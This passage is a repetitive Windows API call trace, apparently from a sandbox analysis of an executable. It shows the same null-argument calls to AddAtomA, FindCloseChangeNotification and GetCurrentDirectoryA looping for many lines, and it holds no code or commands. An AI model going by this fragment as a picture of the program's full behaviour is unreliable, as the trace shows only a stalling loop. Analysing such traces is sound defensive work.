0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.388] AddAtomA (lpString=0x0) returned 0x0 [0054.435] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.435] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.435] AddAtomA (lpString=0x0) returned 0x0 [0054.435] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.435] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.435] AddAtomA (lpString=0x0) returned 0x0 [0054.435] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.435] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.435] AddAtomA (lpString=0x0) returned 0x0 [0054.435] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.436] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.436] AddAtomA (lpString=0x0) returned 0x0 [0054.436] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.437] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.437] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.437] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.438] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.438] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.438] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.439] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.439] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.439] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.440] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.440] AddAtomA (lpString=0x0) returned 0x0 [0054.440] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.441] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.441] AddAtomA (lpString=0x0) returned 0x0 [0054.441] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.442] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.442] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.442] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.443] AddAtomA (lpString=0x0) returned 0x0 [0054.443] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.443] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.444] AddAtomA (lpString=0x0) returned 0x0 [0054.444] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.444] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.445] AddAtomA (lpString=0x0) returned 0x0 [0054.445] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.445] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 